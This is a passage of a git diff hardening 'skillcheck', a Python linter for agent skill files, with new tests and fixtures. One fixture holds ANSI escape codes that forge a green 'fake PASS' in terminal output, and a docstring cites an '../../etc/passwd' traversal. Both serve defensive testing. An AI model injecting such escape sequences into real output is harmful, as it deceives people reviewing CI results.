config.BLOAT_TABLE_ROWS: - diagnostics.append(Diagnostic( - rule="disclosure.body-bloat", - severity=Severity.INFO, - message=( - f"Table with {len(data_rows)} data rows found in body. " - f"Tables over {config.BLOAT_TABLE_ROWS} rows should be " - f"moved to a referenced file." - ), - )) + # Check for large tables. Each contiguous run of |-rows is one table; the + # runs are checked independently so several small tables are not summed into + # one false "N data rows" count. + for run in _contiguous_table_runs(skill.body): + data_rows = [r for r in run if not re.match(r"^\|[\s:|-]+\|$", r)] + if len(data_rows) > config.BLOAT_TABLE_ROWS: + diagnostics.append(Diagnostic( + rule="disclosure.body-bloat", + severity=Severity.INFO, + message=( + f"Table with {len(data_rows)} data rows found in body. " + f"Tables over {config.BLOAT_TABLE_ROWS} rows should be " + f"moved to a referenced file." + ), + )) # Check for base64 content (two-step: candidate match + mixed-case validation) base64_match = _BASE64_CANDIDATE_RE.search(skill.body) diff --git a/src/skillcheck/rules/frontmatter_fields.py b/src/skillcheck/rules/frontmatter_fields.py index 3a89689..b14d819 100644 --- a/src/skillcheck/rules/frontmatter_fields.py +++ b/src/skillcheck/rules/frontmatter_fields.py @@ -1,14 +1,11 @@ from __future__ import annotations -import re +import yaml from skillcheck import config from skillcheck.parser import ParsedSkill from skillcheck.result import Diagnostic, Severity -from skillcheck.rules.frontmatter_common import _field_line - -_YAML_ANCHOR_RE = re.compile(r"&([A-Za-z_][A-Za-z0-9_-]*)") -_YAML_ALIAS_RE = re.compile(r"\*([A-Za-z_][A-Za-z0-9_-]*)") +from skillcheck.rules.frontmatter_common import _field_line, _frontmatter_block def check_unknown_fields(skill: ParsedSkill) -> list[Diagnostic]: @@ -45,39 +42,39 @@ def check_unknown_fields(skill: ParsedSkill) -> list[Diagnostic]: return diagnostics -def _extract_frontmatter_raw(raw_text: str) -> str: - """Return the raw frontmatter text between ``---`` delimiters.""" - lines = raw_text.splitlines() - if not lines or lines[0].strip() != "---": - return "" - fm_lines: list[str] = [] - for line in lines[1:]: - if line.strip() == "---": - break - fm_lines.append(line) - return "\n".join(fm_lines) +def _collect_anchor_names(fm_raw: str) -> list[str]: + """Return the anchor names declared or referenced in the frontmatter. + + Uses the YAML event stream so only real anchors/aliases are seen. A ``&`` or + ``*`` inside a quoted scalar (e.g. ``"Reviews R&D notes and *only* flags..."``) + is part of the value, not an anchor, so it is not reported. Scalar and + collection-start events carry ``.anchor`` for a declaration; alias events + carry ``.anchor`` for a reference; both are collected. + """ + try: + events = yaml.parse(fm_raw, Loader=yaml.SafeLoader) + anchors = [anchor for event in events if (anchor := getattr(event, "anchor", None))] + except yaml.YAMLError: + return [] + return sorted(set(anchors)) def check_yaml_anchors(skill: ParsedSkill) -> list[Diagnostic]: """Warn when YAML anchors or aliases are used in frontmatter.""" - fm_raw = _extract_frontmatter_raw(skill.raw_text) + fm_raw = _frontmatter_block(skill.raw_text) if not fm_raw: return [] - diagnostics: list[Diagnostic] = [] - anchors = _YAML_ANCHOR_RE.findall(fm_raw) - aliases = _YAML_ALIAS_RE.findall(fm_raw) - - if anchors or aliases: - names = sorted(set(anchors + aliases)) - diagnostics.append(Diagnostic( - rule="frontmatter.yaml-anchors", - severity=Severity.WARNING, - message=( - f"YAML anchors/aliases detected in frontmatter ({', '.join(names)}). " - f"Anchors silently copy values between fields, which can bypass " - f"validation. Use explicit values instead." - ), - )) + names = _collect_anchor_names(fm_raw) + if not names: + return [] - return diagnostics + return [Diagnostic( + rule="frontmatter.yaml-anchors", + severity=Severity.WARNING, + message=( + f"YAML anchors/aliases detected in frontmatter ({', '.join(names)}). " + f"Anchors silently copy values between fields, which can bypass " + f"validation. Use explicit values instead." + ), + )] diff --git a/src/skillcheck/rules/references.py b/src/skillcheck/rules/references.py index d17fcc5..a46c28a 100644 --- a/src/skillcheck/rules/references.py +++ b/src/skillcheck/rules/references.py @@ -7,6 +7,7 @@ from __future__ import annotations +import os import re from pathlib import Path @@ -120,7 +121,7 @@ def check_broken_references(skill: ParsedSkill) -> list[Diagnostic]: f"Reference '{ref}' resolves outside the skill directory. " f"File references must stay within the skill tree." ), - context=f"resolved to: {target}", + context=f"resolved to: {_relative_to_skill_dir(target, skill_dir)}", )) continue @@ -129,12 +130,25 @@ def check_broken_references(skill: ParsedSkill) -> list[Diagnostic]: rule="references.broken-link", severity=Severity.ERROR, message=f"Referenced file does not exist: '{ref}'.", - context=f"resolved to: {target}", + context=f"resolved to: {_relative_to_skill_dir(target, skill_dir)}", )) return diagnostics +def _relative_to_skill_dir(target: Path, skill_dir: Path) -> str: + """Render *target* relative to *skill_dir* so diagnostics never leak the host path. + + A contained reference shows as ``scripts/foo.py``; an escaping one shows the + traversal (``../../etc/passwd``). Either way the skill's absolute location on + the build machine stays out of CI logs. + """ + try: + return target.relative_to(skill_dir).as_posix() + except ValueError: + return Path(os.path.relpath(target, skill_dir)).as_posix() + + def check_reference_depth(skill: ParsedSkill) -> list[Diagnostic]: """Warn when file references go deeper than one level from SKILL.md.""" refs = _extract_references(skill.body) diff --git a/src/skillcheck/schemas/critique-v1.json b/src/skillcheck/schemas/critique-v1.json index ffcfbef..41b572c 100644 --- a/src/skillcheck/schemas/critique-v1.json +++ b/src/skillcheck/schemas/critique-v1.json @@ -4,6 +4,7 @@ "title": "skillcheck agent self-critique response", "description": "JSON shape that skillcheck's --ingest-critique mode expects from a calling agent. Severity values use the lowercased Severity enum names (error, warning, info). Scores are integers in the inclusive 0-100 range.", "type": "object", + "additionalProperties": false, "required": [ "clarity_score", "completeness_score", @@ -36,6 +37,7 @@ "description": "Per-section structured critique items.", "items": { "type": "object", + "additionalProperties": false, "required": ["section", "issue", "severity", "suggestion"], "properties": { "section": {"type": "string"}, @@ -58,6 +60,7 @@ "description": "Pairs of contradicting locations within the skill body.", "items": { "type": "object", + "additionalProperties": false, "required": ["location_a", "location_b", "nature"], "properties": { "location_a": {"type": "string"}, diff --git a/src/skillcheck/schemas/graph-v1.json b/src/skillcheck/schemas/graph-v1.json index ff5f65f..06d1663 100644 --- a/src/skillcheck/schemas/graph-v1.json +++ b/src/skillcheck/schemas/graph-v1.json @@ -4,6 +4,7 @@ "title": "skillcheck agent capability-graph response", "description": "JSON shape that skillcheck's --ingest-graph mode expects. Two additional constraints not expressible in JSON Schema: every id must be unique across capabilities, inputs, and outputs combined; for kind='requires' the target_id must reference an input id, and for kind='produces' an output id. skillcheck rejects responses that violate either constraint.", "type": "object", + "additionalProperties": false, "required": ["capabilities", "inputs", "outputs", "edges"], "properties": { "capabilities": { @@ -11,6 +12,7 @@ "description": "Capabilities the skill provides.", "items": { "type": "object", + "additionalProperties": false, "required": ["id", "name", "description", "line"], "properties": { "id": {"type": "string", "description": "Unique across all node collections in this response."}, @@ -27,6 +29,7 @@ "type": "array", "items": { "type": "object", + "additionalProperties": false, "required": ["id", "name", "kind", "line"], "properties": { "id": {"type": "string"}, @@ -43,6 +46,7 @@ "type": "array", "items": { "type": "object", + "additionalProperties": false, "required": ["id", "name", "kind", "line"], "properties": { "id": {"type": "string"}, @@ -59,6 +63,7 @@ "type": "array", "items": { "type": "object", + "additionalProperties": false, "required": ["source_id", "target_id", "kind"], "properties": { "source_id": {"type": "string", "description": "Must reference a capability id."}, diff --git a/src/skillcheck/template_detection.py b/src/skillcheck/template_detection.py index 6508f3e..0901532 100644 --- a/src/skillcheck/template_detection.py +++ b/src/skillcheck/template_detection.py @@ -11,7 +11,7 @@ re.compile(r"\b(TODO|FIXME)\b"), re.compile(r"\byour (skill|description|name|tool)\b", re.IGNORECASE), re.compile(r"<[a-z][a-z0-9_-]*>"), - re.compile(r"\[(description|name|skill name|placeholder|TODO|...)\]", re.IGNORECASE), + re.compile(r"\[(description|name|skill name|placeholder|TODO|\.\.\.)\]", re.IGNORECASE), re.compile(r"\{[a-z][a-z0-9_]*\}"), re.compile(r"\b(lorem ipsum|placeholder|sample description)\b", re.IGNORECASE), ] diff --git a/src/skillcheck/tokenizer.py b/src/skillcheck/tokenizer.py index c16b2dd..bbe0f79 100644 --- a/src/skillcheck/tokenizer.py +++ b/src/skillcheck/tokenizer.py @@ -49,8 +49,11 @@ def estimate_tokens(text: str) -> int: """Estimate the BPE token count of a text string. Priority: - 1. tiktoken (cl100k_base) if installed: ~5% error, fully offline. - 2. Word-run + punctuation-run heuristic: ~15% error, no dependencies. + 1. tiktoken (cl100k_base) if installed: ~5% error. tiktoken downloads the + cl100k_base vocabulary from the internet on first use and caches it, so + the very first run needs network access (or a pre-warmed cache); later + runs are offline. + 2. Word-run + punctuation-run heuristic: ~15% error, no dependencies, always offline. Neither gives exact Claude token counts (Anthropic's vocabulary is not publicly released), but both are accurate enough for a WARNING-level diff --git a/tests/fixtures/bad_frontmatter_int.md b/tests/fixtures/bad_frontmatter_int.md new file mode 100644 index 0000000..3227451 --- /dev/null +++ b/tests/fixtures/bad_frontmatter_int.md @@ -0,0 +1,4 @@ +--- +42 +--- +Body content here. diff --git a/tests/fixtures/bad_frontmatter_list.md b/tests/fixtures/bad_frontmatter_list.md new file mode 100644 index 0000000..2d7e07f --- /dev/null +++ b/tests/fixtures/bad_frontmatter_list.md @@ -0,0 +1,6 @@ +--- +- one +- two +- three +--- +Body content here. diff --git a/tests/fixtures/bad_frontmatter_string.md b/tests/fixtures/bad_frontmatter_string.md new file mode 100644 index 0000000..896a1e7 --- /dev/null +++ b/tests/fixtures/bad_frontmatter_string.md @@ -0,0 +1,4 @@ +--- +just a string +--- +Body content here. diff --git a/tests/fixtures/critique/response_ansi_injection.json b/tests/fixtures/critique/response_ansi_injection.json new file mode 100644 index 0000000..f9304a7 --- /dev/null +++ b/tests/fixtures/critique/response_ansi_injection.json @@ -0,0 +1,10 @@ +{ + "clarity_score": 90, + "completeness_score": 90, + "executability_score": 90, + "findings": [], + "contradictions": [], + "missing_context": [ + "\u001b[2K\u001b[1G\u001b[32mfake PASS\u001b[0m" + ] +} \ No newline at end of file diff --git a/tests/fixtures/graph/skill_duplicate_tools.md b/tests/fixtures/graph/skill_duplicate_tools.md new file mode 100644 index 0000000..664b820 --- /dev/null +++ b/tests/fixtures/graph/skill_duplicate_tools.md @@ -0,0 +1,10 @@ +--- +name: skill-duplicate-tools +description: "Runs shell commands for the build pipeline using the same tool listed twice." +allowed-tools: [Bash, Bash, Read] +--- +# Duplicate tools + +## Run build + +Runs the build with `Bash`. diff --git a/tests/fixtures/history/ledger_bad_version.json b/tests/fixtures/history/ledger_bad_version.json new file mode 100644 index 0000000..f0017af --- /dev/null +++ b/tests/fixtures/history/ledger_bad_version.json @@ -0,0 +1 @@ +{"version": 999, "skill_path": "x/SKILL.md", "runs": []} diff --git a/tests/fixtures/history/ledger_malformed_entry.json b/tests/fixtures/history/ledger_malformed_entry.json new file mode 100644 index 0000000..3c34722 --- /dev/null +++ b/tests/fixtures/history/ledger_malformed_entry.json @@ -0,0 +1 @@ +{"version": 1, "skill_path": "x/SKILL.md", "runs": [42]} diff --git a/tests/fixtures/history/ledger_root_list.json b/tests/fixtures/history/ledger_root_list.json new file mode 100644 index 0000000..b5d8bb5 --- /dev/null +++ b/tests/fixtures/history/ledger_root_list.json @@ -0,0 +1 @@ +[1, 2, 3] diff --git a/tests/fixtures/history/ledger_runs_not_list.json b/tests/fixtures/history/ledger_runs_not_list.json new file mode 100644 index 0000000..976ddb3 --- /dev/null +++ b/tests/fixtures/history/ledger_runs_not_list.json @@ -0,0 +1 @@ +{"version": 1, "skill_path": "x/SKILL.md", "runs": "oops"} diff --git a/tests/fixtures/non_template_bracket_acronym.md b/tests/fixtures/non_template_bracket_acronym.md new file mode 100644 index 0000000..afe6944 --- /dev/null +++ b/tests/fixtures/non_template_bracket_acronym.md @@ -0,0 +1,7 @@ +--- +name: iso-formatter +description: "Formats [ISO] dates, validates [API] payloads, and wraps the [CLI] runner for release automation." +--- +# ISO formatter + +Formats dates and validates payloads. diff --git a/tests/fixtures/template_bracket_placeholder.md b/tests/fixtures/template_bracket_placeholder.md new file mode 100644 index 0000000..ecca89b --- /dev/null +++ b/tests/fixtures/template_bracket_placeholder.md @@ -0,0 +1,7 @@ +--- +name: bracket-placeholder +description: "Handles [...] for the pipeline and returns structured output to the caller." +--- +# Placeholder + +Body. diff --git a/tests/test_cli.py b/tests/test_cli.py index ee9ad40..c08f458 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -1,5 +1,7 @@ import json +import os import subprocess +import sys import pytest @@ -340,3 +342,83 @@ def test_strict_passes_on_clean_skill(): "--strict", ) assert result.returncode == 0 + + +# --------------------------------------------------------------------------- +# Emit/ingest modes handle unparseable files like plain validation does +# --------------------------------------------------------------------------- + + +def _write_non_utf8_skill(tmp_path) -> str: + p = tmp_path / "SKILL.md" + p.write_bytes(b"---\nname: bad\xff\xfe\ndescription: x\n---\nBody\n") + return str(p) + + +@pytest.mark.parametrize( + "mode", + [ + "--emit-graph", + "--emit-critique-prompt", + "--emit-graph-prompt", + "--agent-reason", + "--activation-hypotheses", + "--analyze-graph", + "--history", + ], +) +def test_modes_exit_clean_on_non_utf8_file(tmp_path, mode): + """Every mode that re-parses must exit 1 with a message, not a traceback.""" + target = _write_non_utf8_skill(tmp_path) + result = run("--skip-dirname-check", target, mode) + assert result.returncode == 1 + assert "Traceback" not in result.stderr + assert "not valid UTF-8" in result.stderr + + +def test_ingest_critique_non_utf8_response_exits_two(tmp_path): + """A non-UTF-8 ingest response file takes the clean exit-2 path.""" + response = tmp_path / "response.json" + response.write_bytes(b"\xff\xfe not utf8") + result = run_fixture( + str(FIXTURES_DIR / "valid_basic.md"), + "--ingest-critique", + str(response), + ) + assert result.returncode == 2 + assert "Traceback" not in result.stderr + assert "cannot read" in result.stderr + + +def test_ingest_response_over_size_cap_exits_two(tmp_path): + """An oversized ingest response file is rejected with exit 2, not read fully.""" + from skillcheck.agents._ingest import MAX_INGEST_BYTES + response = tmp_path / "response.json" + response.write_text("{" + " " * (MAX_INGEST_BYTES + 16), encoding="utf-8") + result = run_fixture( + str(FIXTURES_DIR / "valid_basic.md"), + "--ingest-critique", + str(response), + ) + assert result.returncode == 2 + assert "over the" in result.stderr + assert "byte cap" in result.stderr + + +@pytest.mark.skipif(sys.platform == "win32", reason="symlink creation needs privileges on Windows") +def test_collect_paths_does_not_follow_directory_symlinks(tmp_path): + """A directory symlink into another tree must not pull in foreign SKILL.md files.""" + from skillcheck.commands import collect_paths + + scanned = tmp_path / "project" + (scanned / "real").mkdir(parents=True) + (scanned / "real" / "SKILL.md").write_text("---\nname: real\n---\nBody.\n") + + outside = tmp_path / "outside" + outside.mkdir() + (outside / "SKILL.md").write_text("---\nname: foreign\n---\nBody.\n") + os.symlink(outside, scanned / "link-to-outside", target_is_directory=True) + + found = [str(p) for p in collect_paths(scanned)] + assert any("real" in p for p in found) + assert not any("outside" in p for p in found) diff --git a/tests/test_cli_critique.py b/tests/test_cli_critique.py index f6fe19a..42c59a4 100644 --- a/tests/test_cli_critique.py +++ b/tests/test_cli_critique.py @@ -132,6 +132,22 @@ def test_emit_critique_prompt_single_file_no_delimiter() -> None: assert "skillcheck:critique-prompt:" not in result.stdout +def test_ingest_critique_rejects_multiple_paths(tmp_path: Path) -> None: + # A single agent response cannot be fanned out across skills without + # stamping the first skill's diagnostics onto every file. + for name in ("skill-a", "skill-b"): + d = tmp_path / name + d.mkdir() + (d / "SKILL.md").write_text( + "---\nname: " + name + "\ndescription: A test skill for " + name + " processing tasks.\n---\n\nBody.\n", + encoding="utf-8", + ) + result = run("--skip-dirname-check", str(tmp_path), "--ingest-critique", _CLEAN_RESPONSE) + assert result.returncode == 2 + assert "--ingest-critique" in result.stderr + assert "2 SKILL.md paths" in result.stderr + + # --------------------------------------------------------------------------- # --ingest-critique: clean response on passing skill # --------------------------------------------------------------------------- diff --git a/tests/test_cli_graph_agent.py b/tests/test_cli_graph_agent.py index 4445223..16af99c 100644 --- a/tests/test_cli_graph_agent.py +++ b/tests/test_cli_graph_agent.py @@ -285,3 +285,19 @@ def test_ingest_critique_alone_baseline() -> None: assert result.returncode == 0 assert "Critique source:" in result.stdout assert "Graph source:" not in result.stdout + + +def test_ingest_graph_rejects_multiple_paths(tmp_path: Path) -> None: + # One graph response describes one skill; fanning it out would stamp the + # first skill's graph diagnostics onto every file. + for name in ("skill-a", "skill-b"): + d = tmp_path / name + d.mkdir() + (d / "SKILL.md").write_text( + "---\nname: " + name + "\ndescription: A test skill for " + name + " processing tasks.\n---\n\nBody.\n", + encoding="utf-8", + ) + result = run(str(tmp_path), "--ingest-graph", _CLEAN_GRAPH) + assert result.returncode == 2 + assert "--ingest-graph" in result.stderr + assert "2 SKILL.md paths" in result.stderr diff --git a/tests/test_compat_data_freshness.py b/tests/test_compat_data_freshness.py index 6e7eb1f..9293092 100644 --- a/tests/test_compat_data_freshness.py +++ b/tests/test_compat_data_freshness.py @@ -9,11 +9,18 @@ """ import datetime +from pathlib import Path +import pytest + +from skillcheck.parser import parse +from skillcheck.rules import compat from skillcheck.rules.compat import ( _CLAUDE_DATA_DATE, + _CODEX_DATA_DATE, _CURSOR_DATA_DATE, _VSCODE_DATA_DATE, + check_unverified_fields, ) MAX_AGE_DAYS = 365 @@ -34,6 +41,40 @@ def test_claude_data_is_fresh(): ) +def test_codex_data_is_fresh(): + """Codex compatibility data must have been verified within the last 365 days.""" + verified = _parse_date(_CODEX_DATA_DATE) + age = (datetime.date.today() - verified).days + assert age <= MAX_AGE_DAYS, ( + f"Codex compat data is stale: last verified {verified} " + f"({age} days ago). Re-verify Codex field behavior " + f"and update _CODEX_DATA_DATE in compat.py." + ) + + +def test_codex_provenance_uses_codex_date_not_claude_date( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """The Codex provenance label must track _CODEX_DATA_DATE independently. + + Distinct sentinels prove the wiring: with the Claude and Codex dates set to + different values, the Codex label must carry the Codex date only. The label + previously used _CLAUDE_DATA_DATE, which this catches. + """ + monkeypatch.setattr(compat, "_CLAUDE_DATA_DATE", "1999-01-01") + monkeypatch.setattr(compat, "_CODEX_DATA_DATE", "2099-12-31") + skill_file = tmp_path / "SKILL.md" + skill_file.write_text( + "---\nname: x\ndescription: y\nallowed-tools: [Bash]\n---\nBody\n", + encoding="utf-8", + ) + messages = [d.message for d in check_unverified_fields(parse(skill_file))] + codex_lines = [m for m in messages if "Codex:" in m] + assert codex_lines, "expected a compat.unverified message mentioning Codex" + assert "Codex: 2099-12-31" in codex_lines[0] + assert "Codex: 1999-01-01" not in codex_lines[0] + + def test_vscode_data_is_fresh(): """VS Code compatibility data must have been verified within the last 365 days.""" verified = _parse_date(_VSCODE_DATA_DATE) diff --git a/tests/test_config_loader.py b/tests/test_config_loader.py new file mode 100644 index 0000000..bbebd9a --- /dev/null +++ b/tests/test_config_loader.py @@ -0,0 +1,89 @@ +"""Tests for skillcheck.toml discovery and parsing (config_loader).""" + +from __future__ import annotations + +import subprocess +from pathlib import Path + +import pytest + +from skillcheck.config_loader import ( + ConfigError, + _parse_without_tomllib, + _strip_inline_comment, + find_config, + load_config, +) +from tests.conftest import CLI_AVAILABLE, SKILLCHECK_CMD + + +def _write(path: Path, text: str) -> Path: + path.write_text(text, encoding="utf-8") + return path + + +def test_int_type_error_includes_offending_value(tmp_path: Path) -> None: + cfg = _write(tmp_path / "skillcheck.toml", 'max-lines = "nope"\n') + with pytest.raises(ConfigError, match=r"must be an integer \(got 'nope'\)"): + load_config(cfg) + + +def test_bool_type_error_includes_offending_value(tmp_path: Path) -> None: + cfg = _write(tmp_path / "skillcheck.toml", 'strict-vscode = "yes"\n') + with pytest.raises(ConfigError, match=r"must be true or false \(got 'yes'\)"): + load_config(cfg) + + +def test_str_type_error_includes_offending_value(tmp_path: Path) -> None: + cfg = _write(tmp_path / "skillcheck.toml", "format = 5\n") + with pytest.raises(ConfigError, match=r"must be a string \(got 5\)"): + load_config(cfg) + + +def test_strip_inline_comment_respects_quotes() -> None: + assert _strip_inline_comment('format = "a#b" # trailing') == 'format = "a#b" ' + assert _strip_inline_comment("# whole line") == "" + assert _strip_inline_comment("bare = value") == "bare = value" + + +def test_fallback_parser_keeps_hash_inside_quotes() -> None: + parsed = _parse_without_tomllib('format = "a#b" # comment\n') + assert parsed == {"format": "a#b"} + + +def test_find_config_stops_at_git_root(tmp_path: Path) -> None: + # A config above the repo root must not be discovered from inside the repo. + _write(tmp_path / "skillcheck.toml", "max-lines = 10\n") + repo = tmp_path / "repo" + (repo / ".git").mkdir(parents=True) + nested = repo / "a" / "b" + nested.mkdir(parents=True) + assert find_config(nested / "SKILL.md") is None + + +def test_find_config_finds_config_at_git_root(tmp_path: Path) -> None: + # A config at the repo root (alongside .git) is still found. + repo = tmp_path / "repo" + (repo / ".git").mkdir(parents=True) + cfg = _write(repo / "skillcheck.toml", "max-lines = 10\n") + nested = repo / "a" + nested.mkdir() + assert find_config(nested / "SKILL.md") == cfg + + +@pytest.mark.skipif(not CLI_AVAILABLE, reason="skillcheck not installed") +def test_cli_reports_loaded_config_path(tmp_path: Path) -> None: + skill_dir = tmp_path / "cfg-skill" + skill_dir.mkdir() + (skill_dir / "SKILL.md").write_text( + "---\nname: cfg-skill\ndescription: Validates that the loaded config path is reported to stderr.\n---\nBody.\n", + encoding="utf-8", + ) + cfg = _write(skill_dir / "skillcheck.toml", "max-lines = 900\n") + result = subprocess.run( + [*SKILLCHECK_CMD, "--skip-dirname-check", str(skill_dir / "SKILL.md")], + capture_output=True, + text=True, + encoding="utf-8", + ) + assert f"Loaded config from {cfg}" in result.stderr diff --git a/tests/test_critique_parser.py b/tests/test_critique_parser.py index 802dfd6..739ff1d 100644 --- a/tests/test_critique_parser.py +++ b/tests/test_critique_parser.py @@ -68,6 +68,28 @@ def test_parse_response_with_missing_context() -> None: assert result.missing_context == ("auth token", "file path") +def test_missing_context_over_cap_rejected() -> None: + from skillcheck.agents._ingest import MAX_INGEST_LIST_ITEMS + payload = dict(_MINIMAL_VALID, missing_context=["x"] * (MAX_INGEST_LIST_ITEMS + 1)) + with pytest.raises(CritiqueSchemaError, match="missing_context.*over the .*-item cap"): + parse_critique_response(_json(payload)) + + +def test_findings_over_cap_rejected() -> None: + from skillcheck.agents._ingest import MAX_INGEST_LIST_ITEMS + finding = {"section": "s", "issue": "i", "severity": "info", "suggestion": "x"} + payload = dict(_MINIMAL_VALID, findings=[finding] * (MAX_INGEST_LIST_ITEMS + 1)) + with pytest.raises(CritiqueSchemaError, match="findings.*over the .*-item cap"): + parse_critique_response(_json(payload)) + + +def test_list_exactly_at_cap_is_accepted() -> None: + from skillcheck.agents._ingest import MAX_INGEST_LIST_ITEMS + payload = dict(_MINIMAL_VALID, missing_context=["x"] * MAX_INGEST_LIST_ITEMS) + result = parse_critique_response(_json(payload)) + assert len(result.missing_context) == MAX_INGEST_LIST_ITEMS + + def test_parse_response_with_contradictions() -> None: payload = dict(_MINIMAL_VALID, contradictions=[{ "location_a": "Sec A", diff --git a/tests/test_disclosure.py b/tests/test_disclosure.py index 05fd218..9952af5 100644 --- a/tests/test_disclosure.py +++ b/tests/test_disclosure.py @@ -102,6 +102,26 @@ def test_body_bloat_flags_large_table(tmp_path): assert any("table" in d.message.lower() for d in diagnostics) +def test_body_bloat_does_not_sum_separate_small_tables(tmp_path): + """Three separate small tables must not be summed into one false count.""" + from skillcheck import config + + rows_each = config.BLOAT_TABLE_ROWS // 2 + 1 # under threshold individually + + def table() -> str: + body_rows = "\n".join(f"| r{i} | v{i} |" for i in range(rows_each)) + return f"| A | B |\n|---|---|\n{body_rows}" + + content = ( + "---\nname: many-tables\ndescription: Several small tables.\n---\n" + f"\n{table()}\n\nprose\n\n{table()}\n\nprose\n\n{table()}\n" + ) + f = tmp_path / "SKILL.md" + f.write_text(content) + diagnostics = check_body_bloat(parse(f)) + assert not any("table" in d.message.lower() for d in diagnostics) + + def test_body_bloat_flags_base64(tmp_path): # Real base64 has mixed upper/lower characters. import base64 diff --git a/tests/test_format_github.py b/tests/test_format_github.py index e4407c9..2f6d970 100644 --- a/tests/test_format_github.py +++ b/tests/test_format_github.py @@ -5,41 +5,44 @@ import subprocess from pathlib import Path -from skillcheck.formatters import _format_github, _gha_escape +from skillcheck.formatters import _escape_data, _escape_property, _format_github from skillcheck.result import Diagnostic, Severity, ValidationResult from tests.conftest import FIXTURES_DIR, SKILLCHECK_CMD -class TestGhaEscape: - """Escape rules per the GHA workflow command spec.""" +class TestEscapeData: + """Message escaping: only %, CR, LF (colons and commas stay literal).""" def test_percent_escaped_first(self) -> None: - assert _gha_escape("100%") == "100%25" + assert _escape_data("100%") == "100%25" def test_carriage_return_escaped(self) -> None: - assert _gha_escape("line\rbreak") == "line%0Dbreak" + assert _escape_data("line\rbreak") == "line%0Dbreak" def test_newline_escaped(self) -> None: - assert _gha_escape("line\nbreak") == "line%0Abreak" + assert _escape_data("line\nbreak") == "line%0Abreak" - def test_colon_escaped(self) -> None: - assert _gha_escape("key:value") == "key%3Avalue" + def test_colon_left_literal(self) -> None: + assert _escape_data("key:value") == "key:value" - def test_comma_escaped(self) -> None: - assert _gha_escape("a, b") == "a%2C b" + def test_comma_left_literal(self) -> None: + assert _escape_data("a, b") == "a, b" def test_order_percent_before_others(self) -> None: - assert _gha_escape("%\r\n:,") == "%25%0D%0A%3A%2C" + assert _escape_data("%\r\n:,") == "%25%0D%0A:," + + +class TestEscapeProperty: + """Property escaping: %, CR, LF, and additionally : and ,.""" + + def test_colon_escaped(self) -> None: + assert _escape_property("key:value") == "key%3Avalue" + + def test_comma_escaped(self) -> None: + assert _escape_property("a, b") == "a%2C b" - def test_round_trip_all_five_chars(self) -> None: - raw = "error: 50%\r\ncheck a, b" - escaped = _gha_escape(raw) - assert "%" not in escaped.replace("%25", "").replace("%0D", "").replace("%0A", "").replace("%3A", "").replace("%2C", "") - assert "%25" in escaped - assert "%0D" in escaped - assert "%0A" in escaped - assert "%3A" in escaped - assert "%2C" in escaped + def test_all_five_chars(self) -> None: + assert _escape_property("%\r\n:,") == "%25%0D%0A%3A%2C" class TestFormatGithub: @@ -51,28 +54,28 @@ def _make_result(self, *diags: Diagnostic, path: str = "SKILL.md") -> list[Valid def test_error_diagnostic_produces_error_command(self) -> None: d = Diagnostic(rule="frontmatter.name.required", severity=Severity.ERROR, message="name is required", line=1) output = _format_github(self._make_result(d)) - assert output.startswith("::error file=SKILL.md,line=1,title=skillcheck: frontmatter.name.required::name is required") + assert output.startswith("::error file=SKILL.md,line=1,title=skillcheck%3A frontmatter.name.required::name is required") def test_warning_diagnostic_produces_warning_command(self) -> None: d = Diagnostic(rule="frontmatter.name.reserved-word", severity=Severity.WARNING, message="reserved word", line=3) output = _format_github(self._make_result(d)) - assert output.startswith("::warning file=SKILL.md,line=3,title=skillcheck: frontmatter.name.reserved-word::reserved word") + assert output.startswith("::warning file=SKILL.md,line=3,title=skillcheck%3A frontmatter.name.reserved-word::reserved word") def test_info_diagnostic_produces_notice_command(self) -> None: d = Diagnostic(rule="frontmatter.field.ecosystem", severity=Severity.INFO, message="ecosystem field", line=5) output = _format_github(self._make_result(d)) - assert output.startswith("::notice file=SKILL.md,line=5,title=skillcheck: frontmatter.field.ecosystem::ecosystem field") + assert output.startswith("::notice file=SKILL.md,line=5,title=skillcheck%3A frontmatter.field.ecosystem::ecosystem field") def test_no_line_omits_line_property(self) -> None: d = Diagnostic(rule="some.rule", severity=Severity.WARNING, message="no line") output = _format_github(self._make_result(d)) assert "line=" not in output - assert output.startswith("::warning file=SKILL.md,title=skillcheck: some.rule::no line") + assert output.startswith("::warning file=SKILL.md,title=skillcheck%3A some.rule::no line") def test_message_with_special_chars_escaped(self) -> None: d = Diagnostic(rule="test.escape", severity=Severity.ERROR, message="100%\r\n:,", line=2) output = _format_github(self._make_result(d, path="dir/SKILL.md")) - assert "100%25%0D%0A%3A%2C" in output + assert "100%25%0D%0A:," in output assert "::error file=dir/SKILL.md" in output def test_multiple_diagnostics_across_files(self) -> None: @@ -102,7 +105,7 @@ def test_format_github_cli_produces_gha_commands() -> None: result = _run(str(FIXTURES_DIR / "bad_name_caps.md"), "--format", "github", "--skip-dirname-check") assert result.returncode == 1 assert "::error " in result.stdout - assert "title=skillcheck:" in result.stdout + assert "title=skillcheck%3A" in result.stdout def test_format_github_cli_with_warning() -> None: diff --git a/tests/test_graph_heuristic.py b/tests/test_graph_heuristic.py index e40d3e2..05c879f 100644 --- a/tests/test_graph_heuristic.py +++ b/tests/test_graph_heuristic.py @@ -546,3 +546,11 @@ def test_import_path_smoke() -> None: Output, extract_graph_heuristic, ) + + +def test_duplicate_allowed_tools_produce_single_input() -> None: + # allowed-tools: [Bash, Bash, Read] must not mint two nodes with the same + # content-hash ID and trip the duplicate-ID check. + g = extract_graph_heuristic(_parse("skill_duplicate_tools.md")) + tool_names = [i.name for i in g.inputs if i.kind == "tool"] + assert tool_names == ["Bash", "Read"] diff --git a/tests/test_graph_parser.py b/tests/test_graph_parser.py index fe7d11e..ea1e654 100644 --- a/tests/test_graph_parser.py +++ b/tests/test_graph_parser.py @@ -270,3 +270,14 @@ def test_line_equal_to_body_lines_is_valid() -> None: raw = json.dumps({"capabilities": [cap], "inputs": [], "outputs": [], "edges": []}) graph = parse_graph_response(raw, skill) assert graph.capabilities[0].line == skill.body_lines + + +def test_capabilities_over_cap_rejected() -> None: + from skillcheck.agents._ingest import MAX_INGEST_LIST_ITEMS + caps = [ + {"id": str(i), "name": "n", "description": "", "line": None} + for i in range(MAX_INGEST_LIST_ITEMS + 1) + ] + raw = json.dumps({"capabilities": caps, "inputs": [], "outputs": [], "edges": []}) + with pytest.raises(GraphSchemaError, match="capabilities.*over the .*-item cap"): + parse_graph_response(raw, _skill()) diff --git a/tests/test_history_io.py b/tests/test_history_io.py index 